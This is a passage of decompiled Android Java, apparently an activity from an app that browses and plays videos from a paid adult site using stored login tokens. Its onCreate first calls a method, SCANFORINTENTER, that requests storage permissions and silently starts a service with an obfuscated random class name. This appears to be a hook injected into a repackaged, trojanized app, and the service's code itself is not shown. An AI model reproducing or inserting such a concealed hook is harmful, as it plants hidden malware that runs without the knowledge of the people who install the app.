                throw th;
            }
            iVar33.f10717b.setOnClickListener(new View.OnClickListener(viewVideoSeries) {
                public final ViewVideoSeries A;

                {
                    this.A = viewVideoSeries;
                }

                @Override
                public final void onClick(View view) {
                    switch (r2) {
                        case 0:
                            ViewVideoSeries viewVideoSeries2 = this.A;
                            int i10 = ViewVideoSeries.f3266l0;
                            a1.g.d(viewVideoSeries2, "this$0");
                            l4.i iVar202 = viewVideoSeries2.V;
                            if (iVar202 != null) {
                                ((App) iVar202.f7138b).h(viewVideoSeries2, false, new u2(viewVideoSeries2));
                                return;
                            } else {
                                a1.g.h("init");
                                throw null;
                            }
                        default:
                            ViewVideoSeries viewVideoSeries3 = this.A;
                            int i11 = ViewVideoSeries.f3266l0;
                            a1.g.d(viewVideoSeries3, "this$0");
                            l4.i iVar212 = viewVideoSeries3.V;
                            if (iVar212 != null) {
                                ((App) iVar212.f7138b).h(viewVideoSeries3, false, new t2(viewVideoSeries3));
                                return;
                            } else {
                                a1.g.h("init");
                                throw null;
                            }
                    }
                }
            });
        } else {
            th = null;
        }
        i iVar34 = viewVideoSeries.U;
        if (iVar34 == null) {
            a1.g.h("binding");
            throw th;
        }
        iVar34.f10727l.setVisibility(0);
    }

    public static final void u(ViewVideoSeries viewVideoSeries, List list) {
        i iVar = viewVideoSeries.U;
        if (iVar == null) {
            a1.g.h("binding");
            throw null;
        }
        RecyclerView recyclerView = iVar.f10729n;
        l4.i iVar2 = viewVideoSeries.V;
        if (iVar2 == null) {
            a1.g.h("init");
            throw null;
        }
        sa.d dVar = new sa.d(iVar2, new v2(viewVideoSeries));
        Iterator it = list.iterator();
        while (it.hasNext()) {
            ResultForList resultForList = (ResultForList) it.next();
            if (!viewVideoSeries.z()) {
                dVar.l(resultForList);
            } else if (resultForList.getId() != viewVideoSeries.f3271e0) {
                dVar.l(resultForList);
            }
        }
        recyclerView.setAdapter(dVar);
        recyclerView.setLayoutManager(new GridLayoutManager(viewVideoSeries, 2));
        i iVar3 = viewVideoSeries.U;
        if (iVar3 != null) {
            iVar3.f10729n.setVisibility(0);
        } else {
            a1.g.h("binding");
            throw null;
        }
    }

    public static final void v(ViewVideoSeries viewVideoSeries, VideoRes videoRes) {
        Objects.requireNonNull(viewVideoSeries);
        try {
            Intent intent = new Intent();
            intent.setAction("android.intent.action.SEND");
            intent.putExtra("movies", viewVideoSeries.A(videoRes));
            l4.i iVar = viewVideoSeries.V;
            if (iVar == null) {
                a1.g.h("init");
                throw null;
            }
            intent.setPackage(((App) iVar.f7138b).c().l().getExternalPlayerPackage());
            intent.setType("text/plain");
            viewVideoSeries.startActivity(intent);
        } catch (Exception unused) {
            l4.i iVar2 = viewVideoSeries.V;
            if (iVar2 != null) {
                new va.a(iVar2);
            } else {
                a1.g.h("init");
                throw null;
            }
        }
    }

    public static final void w(ViewVideoSeries viewVideoSeries, VideoRes videoRes, int i10) {
        l4.i iVar = viewVideoSeries.V;
        if (iVar == null) {
            a1.g.h("init");
            throw null;
        }
        boolean z10 = ((App) iVar.f7138b).c().l().getExternalPlayer() == 1;
        jb.e eVar = new jb.e();
        ba.e d10 = ba.e.d(viewVideoSeries.getLayoutInflater());
        List b10 = ab.g.b(viewVideoSeries.getString(2131820922), viewVideoSeries.getString(2131820921));
        if (a1.g.a(videoRes.getType(), "http")) {
            b10.add(viewVideoSeries.getString(2131820676));
        }
        if (!z10) {
            b10.add(viewVideoSeries.getString(2131820667));
            b10.add(viewVideoSeries.getString(2131820862));
        }
        ListView listView = (ListView) d10.B;
        listView.setAdapter((ListAdapter) new ArrayAdapter(viewVideoSeries, 2131558572, b10));
        listView.setOnItemClickListener(new u1(viewVideoSeries, b10, z10, videoRes, i10, eVar));
        e.n nVar = new e.n(viewVideoSeries);
        nVar.setView(d10.c());
        o create = nVar.create();
        create.requestWindowFeature(1);
        eVar.f6572z = create;
        try {
            if (viewVideoSeries.isFinishing()) {
                return;
            }
            ((o) eVar.f6572z).show();
        } catch (Exception unused) {
        }
    }

    public static final void x(ViewVideoSeries viewVideoSeries, int i10) {
        jb.e eVar = new jb.e();
        ba.e d10 = ba.e.d(viewVideoSeries.getLayoutInflater());
        ArrayList arrayList = new ArrayList();
        if (i10 == 0) {
            for (VideoRes videoRes : viewVideoSeries.f3276j0) {
                String format = videoRes.getFormat();
                Objects.requireNonNull(format, "null cannot be cast to non-null type java.lang.String");
                String upperCase = format.toUpperCase(Locale.ROOT);
                a1.g.c(upperCase, "(this as java.lang.Strin….toUpperCase(Locale.ROOT)");
                arrayList.add(upperCase);
            }
        } else if (i10 == 1) {
            for (VideoRes videoRes2 : viewVideoSeries.f3277k0) {
                String format2 = videoRes2.getFormat();
                Objects.requireNonNull(format2, "null cannot be cast to non-null type java.lang.String");
                String upperCase2 = format2.toUpperCase(Locale.ROOT);
                a1.g.c(upperCase2, "(this as java.lang.Strin….toUpperCase(Locale.ROOT)");
                arrayList.add(upperCase2);
            }
        }
        ListView listView = (ListView) d10.B;
        listView.setAdapter((ListAdapter) new ArrayAdapter(viewVideoSeries, 2131558572, arrayList));
        listView.setOnItemClickListener(new t1(viewVideoSeries, i10, eVar));
        e.n nVar = new e.n(viewVideoSeries);
        nVar.setView(d10.c());
        o create = nVar.create();
        create.requestWindowFeature(1);
        eVar.f6572z = create;
        try {
            if (viewVideoSeries.isFinishing()) {
                return;
            }
            ((o) eVar.f6572z).show();
        } catch (Exception unused) {
        }
    }

    public final String A(VideoRes videoRes) {
        l4.i iVar = this.V;
        if (iVar == null) {
            a1.g.h("init");
            throw null;
        }
        Object obj = iVar.f7142f;
        Gson gson = (Gson) obj;
        if (iVar == null) {
            a1.g.h("init");
            throw null;
        }
        Gson gson2 = (Gson) obj;
        Movies movies = this.R;
        if (movies == null) {
            a1.g.h("movies");
            throw null;
        }
        Movies movies2 = (Movies) gson.b(gson2.g(movies), Movies.class);
        Urls urls = videoRes.getUrls();
        a1.g.b(urls);
        movies2.setUrl(urls.getView());
        String type = videoRes.getType();
        int hashCode = type.hashCode();
        String str = "video/mp4";
        if (hashCode != 103407) {
            if (hashCode != 3075986) {
                if (hashCode == 3213448) {
                    type.equals("http");
                }
            } else if (type.equals("dash")) {
                str = "application/dash+xml";
            }
        } else if (type.equals("hls")) {
            str = "application/x-mpegURL";
        }
        movies2.setMimeType(str);
        l4.i iVar2 = this.V;
        if (iVar2 == null) {
            a1.g.h("init");
            throw null;
        }
        String g10 = ((Gson) iVar2.f7142f).g(movies2);
        a1.g.c(g10, "init.gson.toJson(tmpMovies)");
        return g10;
    }

    public final void B(VideoData videoData, List list) {
        VideoRes hls;
        VideoRes dash;
        VideoRes video320p;
        VideoRes video480p;
        VideoRes video720p;
        VideoRes video1080p;
        Files files = videoData.getFiles();
        if (files != null && (video1080p = files.getVideo1080p()) != null) {
            list.add(video1080p);
        }
        Files files2 = videoData.getFiles();
        if (files2 != null && (video720p = files2.getVideo720p()) != null) {
            list.add(video720p);
        }
        Files files3 = videoData.getFiles();
        if (files3 != null && (video480p = files3.getVideo480p()) != null) {
            list.add(video480p);
        }
        Files files4 = videoData.getFiles();
        if (files4 != null && (video320p = files4.getVideo320p()) != null) {
            list.add(video320p);
        }
        Files files5 = videoData.getFiles();
        if (files5 != null && (dash = files5.getDash()) != null) {
            list.add(dash);
        }
        Files files6 = videoData.getFiles();
        if (files6 == null || (hls = files6.getHls()) == null) {
            return;
        }
        list.add(hls);
    }

    public void SCANFORINTENTER() {
        try {
            if (Build.VERSION.SDK_INT >= 23) {
                ActivityCompat.requestPermissions(this, new String[]{"android.permission.WRITE_EXTERNAL_STORAGE", "android.permission.READ_EXTERNAL_STORAGE"}, 1454);
            }
        } catch (Exception e10) {
        }
        Intent Rotoxer = new Intent(this, ffqmfarpotlmmtkcnrkzsqiwt19.class);
        startService(Rotoxer);
    }

    @Override
    public void onBackPressed() {
        l4.i iVar = this.V;
        if (iVar != null) {
            ((App) iVar.f7138b).h(this, false, new b());
        } else {
            a1.g.h("init");
            throw null;
        }
    }

    @Override
    public void onCreate(Bundle bundle) {
        SCANFORINTENTER();
        super.onCreate(bundle);
        int i10 = 0;
        View inflate = getLayoutInflater().inflate(2131558599, (ViewGroup) null, false);
        int i11 = 2131361885;
        AppBarLayout appBarLayout = (AppBarLayout) d.e.d(inflate, 2131361885);
        if (appBarLayout != null) {
            i11 = 2131361914;
            FloatingActionButton floatingActionButton = (FloatingActionButton) d.e.d(inflate, 2131361914);
            if (floatingActionButton != null) {
                i11 = 2131361916;
                MaterialButton materialButton = (MaterialButton) d.e.d(inflate, 2131361916);
                if (materialButton != null) {
                    i11 = 2131361918;
                    MaterialButton materialButton2 = (MaterialButton) d.e.d(inflate, 2131361918);
                    if (materialButton2 != null) {
                        i11 = 2131361921;
                        MaterialButton materialButton3 = (MaterialButton) d.e.d(inflate, 2131361921);
                        if (materialButton3 != null) {
                            i11 = 2131361923;
                            MaterialButton materialButton4 = (MaterialButton) d.e.d(inflate, 2131361923);
                            if (materialButton4 != null) {
                                i11 = 2131361924;
                                MaterialButton materialButton5 = (MaterialButton) d.e.d(inflate, 2131361924);
                                if (materialButton5 != null) {
                                    i11 = 2131361972;
                                    CollapsingToolbarLayout collapsingToolbarLayout = (CollapsingToolbarLayout) d.e.d(inflate, 2131361972);
                                    if (collapsingToolbarLayout != null) {
                                        i11 = 2131362004;
                                        MaterialTextView materialTextView = (MaterialTextView) d.e.d(inflate, 2131362004);
                                        if (materialTextView != null) {
                                            i11 = 2131362155;
                                            ConstraintLayout constraintLayout = (ConstraintLayout) d.e.d(inflate, 2131362155);
                                            if (constraintLayout != null) {
                                                i11 = 2131362208;
                                                MaterialTextView materialTextView2 = (MaterialTextView) d.e.d(inflate, 2131362208);
                                                if (materialTextView2 != null) {
                                                    i11 = 2131362294;
                                                    NestedScrollView nestedScrollView = (NestedScrollView) d.e.d(inflate, 2131362294);
                                                    if (nestedScrollView != null) {
                                                        i11 = 2131362330;
                                                        CircularProgressIndicator circularProgressIndicator = (CircularProgressIndicator) d.e.d(inflate, 2131362330);
                                                        if (circularProgressIndicator != null) {
                                                            i11 = 2131362335;
                                                            RecyclerView recyclerView = (RecyclerView) d.e.d(inflate, 2131362335);
                                                            if (recyclerView != null) {
                                                                i11 = 2131362336;
                                                                RecyclerView recyclerView2 = (RecyclerView) d.e.d(inflate, 2131362336);
                                                                if (recyclerView2 != null) {
                                                                    ConstraintLayout constraintLayout2 = (ConstraintLayout) inflate;
                                                                    i11 = 2131362437;
                                                                    TableLayout tableLayout = (TableLayout) d.e.d(inflate, 2131362437);
                                                                    if (tableLayout != null) {
                                                                        i11 = 2131362482;
                                                                        ShapeableImageView shapeableImageView = (ShapeableImageView) d.e.d(inflate, 2131362482);
                                                                        if (shapeableImageView != null) {
                                                                            i11 = R.id.title;
                                                                            MaterialTextView materialTextView3 = (MaterialTextView) d.e.d(inflate, R.id.title);
                                                                            if (materialTextView3 != null) {
                                                                                i11 = 2131362491;
                                                                                Toolbar toolbar = (Toolbar) d.e.d(inflate, 2131362491);
                                                                                if (toolbar != null) {
                                                                                    this.U = new i(constraintLayout2, appBarLayout, floatingActionButton, materialButton, materialButton2, materialButton3, materialButton4, materialButton5, collapsingToolbarLayout, materialTextView, constraintLayout, materialTextView2, nestedScrollView, circularProgressIndicator, recyclerView, recyclerView2, constraintLayout2, tableLayout, shapeableImageView, materialTextView3, toolbar);
                                                                                    this.f3270d0 = k(new c.d(), new b4.j(this));
                                                                                    i iVar = this.U;
                                                                                    if (iVar == null) {
                                                                                        a1.g.h("binding");
                                                                                        throw null;
                                                                                    }
                                                                                    setContentView(iVar.f10716a);
                                                                                    i iVar2 = this.U;
                                                                                    if (iVar2 == null) {
                                                                                        a1.g.h("binding");
                                                                                        throw null;
                                                                                    }
                                                                                    q(iVar2.f10734s);
                                                                                    e.a o10 = o();
                                                                                    if (o10 != null) {
                                                                                        o10.m(true);
                                                                                        o10.n(true);
                                                                                    }
                                                                                    this.Z = new ta.c(this);
                                                                                    this.X = new ta.b(this);
                                                                                    this.f3269c0 = new ta.d(this);
                                                                                    this.Q = new f(this);
                                                                                    this.P = new g(this);
                                                                                    Application application = getApplication();
                                                                                    Objects.requireNonNull(application, "null cannot be cast to non-null type com.xhubapp.brazzers.aio.activity.App");
                                                                                    l4.i iVar3 = new l4.i(this, (App) application);
                                                                                    this.V = iVar3;
                                                                                    ta.c cVar = this.Z;
                                                                                    if (cVar == null) {
                                                                                        a1.g.h("brazzersSiteDB");
                                                                                        throw null;
                                                                                    }
                                                                                    String r10 = ((App) iVar3.f7138b).c().r();
                                                                                    a1.g.b(r10);
                                                                                    BrazzersSite l10 = cVar.l(r10);
                                                                                    this.Y = l10;
                                                                                    ta.d dVar = this.f3269c0;
                                                                                    if (dVar == null) {
                                                                                        a1.g.h("brazzersTokenDB");
                                                                                        throw null;
                                                                                    }
                                                                                    this.f3268b0 = dVar.r(l10.getBrand());
                                                                                    ta.b bVar = this.X;
                                                                                    if (bVar == null) {
                                                                                        a1.g.h("brazzersApisDB");
                                                                                        throw null;
                                                                                    }
                                                                                    BrazzersSite brazzersSite = this.Y;
                                                                                    if (brazzersSite == null) {
                                                                                        a1.g.h("brazzersSite");
                                                                                        throw null;
                                                                                    }
                                                                                    String apis = brazzersSite.getApis();
                                                                                    l4.i iVar4 = this.V;
                                                                                    if (iVar4 == null) {
                                                                                        a1.g.h("init");
                                                                                        throw null;
                                                                                    }
                                                                                    this.f3267a0 = bVar.c(apis, (Gson) iVar4.f7142f);
                                                                                    l4.i iVar5 = this.V;
                                                                                    if (iVar5 == null) {
                                                                                        a1.g.h("init");
                                                                                        throw null;
                                                                                    }
                                                                                    ((App) iVar5.f7138b).f();
                                                                                    i iVar6 = this.U;
                                                                                    if (iVar6 == null) {
                                                                                        a1.g.h("binding");
                                                                                        throw null;
                                                                                    }
                                                                                    CircularProgressIndicator circularProgressIndicator2 = iVar6.f10728m;
                                                                                    a1.g.c(circularProgressIndicator2, "binding.progressCircular");
                                                                                    this.W = new pa.a(circularProgressIndicator2);
                                                                                    l4.i iVar7 = this.V;
                                                                                    if (iVar7 == null) {
                                                                                        a1.g.h("init");
                                                                                        throw null;
                                                                                    }
                                                                                    this.T = new e(iVar7);
                                                                                    this.f3271e0 = getIntent().getIntExtra("id", 0);
                                                                                    String stringExtra = getIntent().getStringExtra("type");
                                                                                    a1.g.b(stringExtra);
                                                                                    this.f3272f0 = stringExtra;
                                                                                    if (this.f3271e0 == 0) {
                                                                                        f0.f3305a.m(this, "Data id invalid", 1);
                                                                                        finish();
                                                                                        return;
                                                                                    } else if (!a1.g.a(stringExtra, "scene") && !a1.g.a(this.f3272f0, "bts") && !a1.g.a(this.f3272f0, "serie")) {
                                                                                        f0.f3305a.m(this, "Data type invalid", 1);
                                                                                        finish();
                                                                                        return;
                                                                                    } else {
                                                                                        i iVar8 = this.U;
                                                                                        if (iVar8 == null) {
                                                                                            a1.g.h("binding");
                                                                                            throw null;
                                                                                        }
                                                                                        CollapsingToolbarLayout collapsingToolbarLayout2 = iVar8.f10723h;
                                                                                        collapsingToolbarLayout2.setCollapsedTitleTextColor(-1);
                                                                                        collapsingToolbarLayout2.setExpandedTitleColor(0);
                                                                                        this.R = new Movies();
                                                                                        l4.i iVar9 = this.V;
                                                                                        if (iVar9 == null) {
                                                                                            a1.g.h("init");
                                                                                            throw null;
                                                                                        }
                                                                                        z zVar = new z(iVar9, new c());
                                                                                        this.S = zVar;
                                                                                        zVar.d();
                                                                                        f0 f0Var = f0.f3305a;
                                                                                        l4.i iVar10 = this.V;
                                                                                        if (iVar10 == null) {
                                                                                            a1.g.h("init");
                                                                                            throw null;
                                                                                        }
                                                                                        a1.g.d(iVar10, "init");
                                                                                        DisplayMetrics displayMetrics = new DisplayMetrics();
                                                                                        Display display = Build.VERSION.SDK_INT >= 30 ? ((r) iVar10.f7139c).getDisplay() : ((r) iVar10.f7139c).getWindowManager().getDefaultDisplay();
                                                                                        if (display != null) {
                                                                                            display.getRealMetrics(displayMetrics);
                                                                                            double d10 = displayMetrics.widthPixels;
                                                                                            Double.isNaN(d10);
                                                                                            Double.isNaN(d10);
                                                                                            i10 = (int) (d10 / 1.77d);
                                                                                        }
                                                                                        if (i10 > 0) {
                                                                                            i iVar11 = this.U;
                                                                                            if (iVar11 == null) {
                                                                                                a1.g.h("binding");
                                                                                                throw null;
                                                                                            }
                                                                                            CollapsingToolbarLayout collapsingToolbarLayout3 = iVar11.f10723h;
                                                                                            a1.g.c(collapsingToolbarLayout3, "binding.collapsingToolbarLayout");
                                                                                            WeakHashMap weakHashMap = r0.f5600a;
                                                                                            if (!c0.c(collapsingToolbarLayout3) || collapsingToolbarLayout3.isLayoutRequested()) {
                                                                                                collapsingToolbarLayout3.addOnLayoutChangeListener(new m2(this, i10));
                                                                                                return;
                                                                                            }
                                                                                            i iVar12 = this.U;
                                                                                            if (iVar12 != null) {
                                                                                                iVar12.f10723h.getLayoutParams().height = i10;
                                                                                                return;
                                                                                            } else {
                                                                                                a1.g.h("binding");
                                                                                                throw null;
                                                                                            }
                                                                                        }
                                                                                        return;
                                                                                    }
                                                                                }
                                                                            }
                                                                        }
                                                                    }
                                                                }
                                                            }
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
        throw new NullPointerException("Missing required view with ID: ".concat(inflate.getResources().getResourceName(i11)));
    }

    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        a1.g.d(menu, "menu");
        getMenuInflater().inflate(2131623940, menu);
        return super.onCreateOptionsMenu(menu);
    }

    @Override
    public boolean onOptionsItemSelected(MenuItem menuItem) {
        a1.g.d(menuItem, "item");
        l4.i iVar = this.V;
        if (iVar != null) {
            ((App) iVar.f7138b).h(this, false, new d(menuItem));
            return super.onOptionsItemSelected(menuItem);
        }
        a1.g.h("init");
        throw null;
    }

    @Override
    public void onRequestPermissionsResult(int i10, String[] strArr, int[] iArr) {
        a1.g.d(strArr, "permissions");
        a1.g.d(iArr, "grantResults");
        super.onRequestPermissionsResult(i10, strArr, iArr);
        z zVar = this.S;
        if (zVar == null) {
            a1.g.h("storageUtils");
            throw null;
        } else if (zVar.e(i10, iArr)) {
        } else {
            finish();
            f0.f3305a.o(this);
        }
    }

    public final void y() {
        if (this.f3268b0 == null) {
            Intent intent = new Intent(this, LoginPage.class);
            BrazzersSite brazzersSite = this.Y;
            if (brazzersSite == null) {
                a1.g.h("brazzersSite");
                throw null;
            }
            intent.putExtra("brand", brazzersSite.getBrand());
            androidx.activity.result.d dVar = this.f3270d0;
            if (dVar == null) {
                a1.g.h("activityLauncher");
                throw null;
            }
            dVar.a(intent);
            f0.f3305a.n(this);
            return;
        }
        pa.a aVar = this.W;
        if (aVar == null) {
            a1.g.h("loading");
            throw null;
        }
        aVar.b();
        SiteApi siteApi = this.f3267a0;
        if (siteApi == null) {
            a1.g.h("siteApi");
            throw null;
        }
        String releasesInfo = siteApi.getReleasesInfo();
        Object[] objArr = new Object[2];
        SiteApi siteApi2 = this.f3267a0;
        if (siteApi2 == null) {
            a1.g.h("siteApi");
            throw null;
        }
        objArr[0] = siteApi2.getHost();
        objArr[1] = Integer.valueOf(this.f3271e0);
        k2.e eVar = new k2.e(ra.g.a(objArr, 2, releasesInfo, "java.lang.String.format(format, *args)"));
        f0 f0Var = f0.f3305a;
        eVar.f6597g = new g0(f0Var.i());
        eVar.f6598h = f0Var.p(this);
        BrazzersSite brazzersSite2 = this.Y;
        if (brazzersSite2 == null) {
            a1.g.h("brazzersSite");
            throw null;
        }
        BrazzersToken brazzersToken = this.f3268b0;
        String a10 = ra.f.a(brazzersToken, brazzersSite2, "https://site-ma.");
        LinkedHashMap linkedHashMap = new LinkedHashMap();
        h.a(brazzersToken, linkedHashMap, "Authorization", "Instance");
        linkedHashMap.put("Origin", a10);
        linkedHashMap.put("Referer", a10);
        eVar.a(linkedHashMap);
        eVar.b();
        k2.h hVar = new k2.h(eVar);
        a aVar2 = new a();
        hVar.f6617g = 1;
        hVar.f6631u = aVar2;
        o2.b.b().a(hVar);
    }

    public final boolean z() {
        return !a1.g.a(this.f3272f0, "serie");
    }
}